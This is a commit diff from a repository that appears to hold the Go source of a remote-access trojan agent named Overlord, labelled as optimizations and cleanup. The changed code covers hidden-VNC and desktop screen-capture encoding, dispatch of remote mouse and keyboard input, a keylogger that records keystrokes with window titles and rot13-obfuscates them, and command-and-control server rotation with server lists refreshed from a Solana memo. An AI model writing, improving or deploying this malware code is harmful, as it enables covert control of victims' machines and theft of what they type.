vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

optimizations + clean some code

Browse Source
This commit is contained in:
KingKDot
2026-05-21 23:28:06 -05:00
parent 06b001e5a1
commit bd47b233d6
7 changed files with 189 additions and 120 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/capture.go
+113 -54
View File
@@ -3,7 +3,6 @@ package capture
import (
"bytes"
"context"
"encoding/binary"
"errors"
"image"
"image/draw"
@@ -798,6 +797,28 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
type streamRegion struct{ x, y, w, h int }
type encodeBufs struct {
changedGrid []bool
visited []bool
}
var (
encodeBufsPool = sync.Pool{New: func() interface{} { return &encodeBufs{} }}
frameBufPool = sync.Pool{New: func() interface{} { return bytes.NewBuffer(make([]byte, 0, 512*1024)) }}
)
func writeUint16LE(buf *bytes.Buffer, v uint16) {
buf.WriteByte(byte(v))
buf.WriteByte(byte(v >> 8))
}
func writeUint32LE(buf *bytes.Buffer, v uint32) {
buf.WriteByte(byte(v))
buf.WriteByte(byte(v >> 8))
buf.WriteByte(byte(v >> 16))
buf.WriteByte(byte(v >> 24))
}
type roiHint struct {
rect image.Rectangle
weight int
@@ -812,7 +833,21 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
blocksWide := (width + blockSize - 1) / blockSize
blocksHigh := (height + blockSize - 1) / blockSize
changedGrid := make([]bool, blocksWide*blocksHigh)
total := blocksWide * blocksHigh
eb := encodeBufsPool.Get().(*encodeBufs)
defer encodeBufsPool.Put(eb)
if cap(eb.changedGrid) < total {
eb.changedGrid = make([]bool, total)
eb.visited = make([]bool, total)
} else {
eb.changedGrid = eb.changedGrid[:total]
eb.visited = eb.visited[:total]
clear(eb.changedGrid)
clear(eb.visited)
}
changedGrid := eb.changedGrid
visited := eb.visited
changedCount := 0
passDetectStart := time.Now()
@@ -843,17 +878,11 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
if changedCount == 0 {
buf := bytes.Buffer{}
_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
return 0, buf.Bytes(), 0, nil
return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil
}
mergeStart := time.Now()
var regions []streamRegion
visited := make([]bool, len(changedGrid))
for by := 0; by < blocksHigh; by++ {
for bx := 0; bx < blocksWide; bx++ {
@@ -926,39 +955,50 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
buf := bytes.Buffer{}
_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
_ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
buf := frameBufPool.Get().(*bytes.Buffer)
buf.Reset()
defer frameBufPool.Put(buf)
writeUint16LE(buf, uint16(width))
writeUint16LE(buf, uint16(height))
writeUint16LE(buf, uint16(len(regions)))
writeUint16LE(buf, 0)
totalEncDur := time.Duration(0)
for _, r := range regions {
t0 := time.Now()
var payload []byte
var err error
writeUint16LE(buf, uint16(r.x))
writeUint16LE(buf, uint16(r.y))
writeUint16LE(buf, uint16(r.w))
writeUint16LE(buf, uint16(r.h))
var encErr error
if codec == "raw" {
payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h)
payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h)
writeUint32LE(buf, uint32(len(payload)))
buf.Write(payload)
} else {
blockQuality := quality + 10
if blockQuality > 100 {
blockQuality = 100
}
payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
lenPos := buf.Len()
writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size
encErr = encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
if encErr == nil {
jpegLen := uint32(buf.Len() - lenPos - 4)
b := buf.Bytes()
b[lenPos] = byte(jpegLen)
b[lenPos+1] = byte(jpegLen >> 8)
b[lenPos+2] = byte(jpegLen >> 16)
b[lenPos+3] = byte(jpegLen >> 24)
}
}
blockDur := time.Since(t0)
totalEncDur += blockDur
statBlkJpegNs.Add(blockDur.Nanoseconds())
if err != nil {
return len(regions), nil, totalEncDur, err
if encErr != nil {
return len(regions), nil, totalEncDur, encErr
}
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
_ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
buf.Write(payload)
}
prevCopyStart := time.Now()
@@ -967,7 +1007,9 @@ func encodeBlocks(img *image.RGBA, prev *prevImage, quality int, codec string, d
prevMu.Unlock()
statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
return len(regions), buf.Bytes(), totalEncDur, nil
out := make([]byte, buf.Len())
copy(out, buf.Bytes())
return len(regions), out, totalEncDur, nil
}
func blockChanged(cur, prev []byte, curStride, prevStride int, x, y, w, h int) bool {
@@ -1152,7 +1194,21 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
blocksWide := (width + blockSize - 1) / blockSize
blocksHigh := (height + blockSize - 1) / blockSize
changedGrid := make([]bool, blocksWide*blocksHigh)
total := blocksWide * blocksHigh
eb := encodeBufsPool.Get().(*encodeBufs)
defer encodeBufsPool.Put(eb)
if cap(eb.changedGrid) < total {
eb.changedGrid = make([]bool, total)
eb.visited = make([]bool, total)
} else {
eb.changedGrid = eb.changedGrid[:total]
eb.visited = eb.visited[:total]
clear(eb.changedGrid)
clear(eb.visited)
}
changedGrid := eb.changedGrid
visited := eb.visited
changedCount := 0
passDetectStart := time.Now()
@@ -1179,17 +1235,11 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
statDetectNs.Add(time.Since(passDetectStart).Nanoseconds())
if changedCount == 0 {
buf := bytes.Buffer{}
_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
return 0, buf.Bytes(), 0, nil
return 0, []byte{byte(width), byte(width >> 8), byte(height), byte(height >> 8), 0, 0, 0, 0}, 0, nil
}
mergeStart := time.Now()
var regions []streamRegion
visited := make([]bool, len(changedGrid))
for by := 0; by < blocksHigh; by++ {
for bx := 0; bx < blocksWide; bx++ {
@@ -1261,37 +1311,44 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
sortRegionsByROI(regions, rois)
statMergeNs.Add(time.Since(mergeStart).Nanoseconds())
buf := bytes.Buffer{}
_ = binary.Write(&buf, binary.LittleEndian, uint16(width))
_ = binary.Write(&buf, binary.LittleEndian, uint16(height))
_ = binary.Write(&buf, binary.LittleEndian, uint16(len(regions)))
_ = binary.Write(&buf, binary.LittleEndian, uint16(0))
buf := frameBufPool.Get().(*bytes.Buffer)
buf.Reset()
defer frameBufPool.Put(buf)
writeUint16LE(buf, uint16(width))
writeUint16LE(buf, uint16(height))
writeUint16LE(buf, uint16(len(regions)))
writeUint16LE(buf, 0)
totalEncDur := time.Duration(0)
for _, r := range regions {
encStart := time.Now()
var payload []byte
var err error
writeUint16LE(buf, uint16(r.x))
writeUint16LE(buf, uint16(r.y))
writeUint16LE(buf, uint16(r.w))
writeUint16LE(buf, uint16(r.h))
if codec == "raw" {
payload = encodeBlockRaw(img, r.x, r.y, r.w, r.h)
payload := encodeBlockRaw(img, r.x, r.y, r.w, r.h)
writeUint32LE(buf, uint32(len(payload)))
buf.Write(payload)
} else {
blockQuality := quality + 10
if blockQuality > 100 {
blockQuality = 100
}
payload, err = encodeJPEG(img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality)
if err != nil {
lenPos := buf.Len()
writeUint32LE(buf, 0) // placeholder; patched below with actual JPEG size
if err := encodeJPEGToBuf(buf, img.SubImage(image.Rect(r.x, r.y, r.x+r.w, r.y+r.h)), blockQuality); err != nil {
return 0, nil, 0, err
}
jpegLen := uint32(buf.Len() - lenPos - 4)
b := buf.Bytes()
b[lenPos] = byte(jpegLen)
b[lenPos+1] = byte(jpegLen >> 8)
b[lenPos+2] = byte(jpegLen >> 16)
b[lenPos+3] = byte(jpegLen >> 24)
}
totalEncDur += time.Since(encStart)
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.x))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.y))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.w))
_ = binary.Write(&buf, binary.LittleEndian, uint16(r.h))
_ = binary.Write(&buf, binary.LittleEndian, uint32(len(payload)))
buf.Write(payload)
}
prevCopyStart := time.Now()
@@ -1300,7 +1357,9 @@ func encodeBlocksHVNC(img *image.RGBA, prev *prevImage, quality int, codec strin
prevMu.Unlock()
statPrevCopyNs.Add(time.Since(prevCopyStart).Nanoseconds())
return len(regions), buf.Bytes(), totalEncDur, nil
out := make([]byte, buf.Len())
copy(out, buf.Bytes())
return len(regions), out, totalEncDur, nil
}
func copyPrev(img *image.RGBA) {
Overlord-Client/cmd/agent/capture/jpeg_std.go
+12
View File
@@ -27,3 +27,15 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) {
jpegBufPool.Put(buf)
return out, nil
}
func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error {
buf := jpegBufPool.Get().(*bytes.Buffer)
buf.Reset()
if err := jpeg.Encode(buf, img, &jpeg.Options{Quality: quality}); err != nil {
jpegBufPool.Put(buf)
return err
}
dst.Write(buf.Bytes())
jpegBufPool.Put(buf)
return nil
}
Overlord-Client/cmd/agent/capture/jpeg_turbo.go
+9
View File
@@ -21,3 +21,12 @@ func encodeJPEG(img image.Image, quality int) ([]byte, error) {
}
return buf.Bytes(), nil
}
func encodeJPEGToBuf(dst *bytes.Buffer, img image.Image, quality int) error {
opts := &ljpeg.EncoderOptions{
Quality: quality,
OptimizeCoding: true,
DCTMethod: ljpeg.DCTISlow,
}
return ljpeg.Encode(dst, img, opts)
}
Overlord-Client/cmd/agent/capture/rgbapool.go
+1 -2
View File
@@ -13,8 +13,7 @@ func GetRGBA(w, h int) *image.RGBA {
return image.NewRGBA(image.Rect(0, 0, w, h))
}
if v := rgbaPool.Get(); v != nil {
buf := v.([]byte)
if cap(buf) >= need {
if buf, ok := v.([]byte); ok && cap(buf) >= need {
return &image.RGBA{
Pix: buf[:need],
Stride: w * 4,
Overlord-Client/cmd/agent/handlers/dispatcher.go
+13 -15
View File
@@ -4,6 +4,7 @@ import (
"context"
"fmt"
"log"
"maps"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/runtime"
@@ -25,10 +26,9 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
}
}()
msgTypeRaw := envelope["type"]
msgType, _ := msgTypeRaw.(string)
if msgType == "" {
log.Printf("dispatcher: missing type (keys=%v)", envelopeKeys(envelope))
msgType, ok := envelope["type"].(string)
if !ok || msgType == "" {
log.Printf("dispatcher: missing type (keys=%v)", maps.Keys(envelope))
return nil
}
switch msgType {
@@ -43,12 +43,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
return nil
case "command":
cmdType, _ := envelope["commandType"].(string)
switch cmdType {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
default:
if !isInputCommand(cmdType) {
log.Printf("dispatcher: handling command type=%s", cmdType)
}
return HandleCommand(ctx, d.Env, envelope)
@@ -72,10 +67,13 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
}
}
func envelopeKeys(envelope map[string]interface{}) []string {
keys := make([]string, 0, len(envelope))
for key := range envelope {
keys = append(keys, key)
func isInputCommand(cmdType string) bool {
switch cmdType {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":
return true
}
return keys
return false
}
Overlord-Client/cmd/agent/keylogger/keylogger.go
+19 -14
View File
@@ -369,9 +369,9 @@ func (k *Keylogger) logKey(key string) {
k.currentWindowTitle = windowTitle
}
if k.currentWindowTitle != "" {
k.buffer.WriteString(fmt.Sprintf("[%s] [%s] ", timestamp, k.currentWindowTitle))
fmt.Fprintf(&k.buffer, "[%s] [%s] ", timestamp, k.currentWindowTitle)
} else {
k.buffer.WriteString(fmt.Sprintf("[%s] ", timestamp))
fmt.Fprintf(&k.buffer, "[%s] ", timestamp)
}
k.lineStarted = true
}
@@ -384,19 +384,24 @@ func (k *Keylogger) logKey(key string) {
}
}
func rot13(s string) string {
var result strings.Builder
for _, r := range s {
switch {
case r >= 'a' && r <= 'z':
result.WriteRune('a' + (r-'a'+13)%26)
case r >= 'A' && r <= 'Z':
result.WriteRune('A' + (r-'A'+13)%26)
default:
result.WriteRune(r)
}
var rot13Table = func() [256]byte {
var t [256]byte
for i := range t {
t[i] = byte(i)
}
return result.String()
for i := 0; i < 26; i++ {
t['a'+i] = byte('a' + (i+13)%26)
t['A'+i] = byte('A' + (i+13)%26)
}
return t
}()
func rot13(s string) string {
b := []byte(s)
for i, c := range b {
b[i] = rot13Table[c]
}
return string(b)
}
func getTempDir() string {
Overlord-Client/cmd/agent/session.go
+22 -35
View File
@@ -14,6 +14,7 @@ import (
"os"
"runtime"
"runtime/debug"
"slices"
"strconv"
"strings"
"time"
@@ -87,17 +88,9 @@ func runClient(cfg config.Config) {
}
if shouldRefreshServerList(cfg, consecutiveFailures, lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
if refreshServerList(&cfg) {
lastSolRefresh = time.Now()
currentIndex = 0
consecutiveFailures = 0
}
}
if len(cfg.ServerURLs) > 1 {
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
tryRefreshServerList(&cfg, &lastSolRefresh, &currentIndex, &consecutiveFailures)
}
rotateToNextServer(&currentIndex, cfg.ServerURLs)
time.Sleep(backoff)
cancel()
@@ -134,17 +127,9 @@ func runClient(cfg config.Config) {
lastDisconnect = time.Now()
if shouldRefreshServerList(cfg, len(cfg.ServerURLs), lastDisconnect, lastSolRefresh, solInitialWait, solRefreshInterval) {
if refreshServerList(&cfg) {
lastSolRefresh = time.Now()
currentIndex = 0
consecutiveFailures = 0
}
}
if len(cfg.ServerURLs) > 1 {
currentIndex = (currentIndex + 1) % len(cfg.ServerURLs)
log.Printf("switching to next server [%d/%d]: %s", currentIndex+1, len(cfg.ServerURLs), cfg.ServerURLs[currentIndex])
tryRefreshServerList(&cfg, &lastSolRefresh, &currentIndex, &consecutiveFailures)
}
rotateToNextServer(&currentIndex, cfg.ServerURLs)
}
sleepFor := backoff
@@ -162,6 +147,21 @@ func runClient(cfg config.Config) {
}
}
func rotateToNextServer(currentIndex *int, urls []string) {
if len(urls) > 1 {
*currentIndex = (*currentIndex + 1) % len(urls)
log.Printf("switching to next server [%d/%d]: %s", *currentIndex+1, len(urls), urls[*currentIndex])
}
}
func tryRefreshServerList(cfg *config.Config, lastSolRefresh *time.Time, currentIndex *int, consecutiveFailures *int) {
if refreshServerList(cfg) {
*lastSolRefresh = time.Now()
*currentIndex = 0
*consecutiveFailures = 0
}
}
func buildDialOptions(cfg config.Config, transport *http.Transport) *websocket.DialOptions {
headers := http.Header{}
if token := strings.TrimSpace(cfg.AgentToken); token != "" {
@@ -268,7 +268,7 @@ func refreshServerURLsFromSolana(cfg *config.Config) bool {
log.Printf("[config] WARNING: Solana memo returned no valid URLs")
return false
}
if !equalStringSlices(cfg.ServerURLs, urls) {
if !slices.Equal(cfg.ServerURLs, urls) {
log.Printf("[config] resolved server URLs from Solana memo (%d servers)", len(urls))
cfg.ServerURLs = urls
}
@@ -287,24 +287,13 @@ func refreshServerURLsFromRaw(cfg *config.Config) bool {
return false
}
if !equalStringSlices(cfg.ServerURLs, urls) {
if !slices.Equal(cfg.ServerURLs, urls) {
log.Printf("[config] refreshed raw server list (%d servers)", len(urls))
cfg.ServerURLs = urls
}
return true
}
func equalStringSlices(a, b []string) bool {
if len(a) != len(b) {
return false
}
for i := range a {
if a[i] != b[i] {
return false
}
}
return true
}
func createHTTPTransport(cfg config.Config) *http.Transport {
tlsConfig := &tls.Config{
@@ -389,8 +378,6 @@ func classifyDialError(err error) string {
}
func computeBaseBackoff() time.Duration {
mode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_MODE")))
_ = mode
return randomReconnectDelay(10*time.Second, 30*time.Second)
}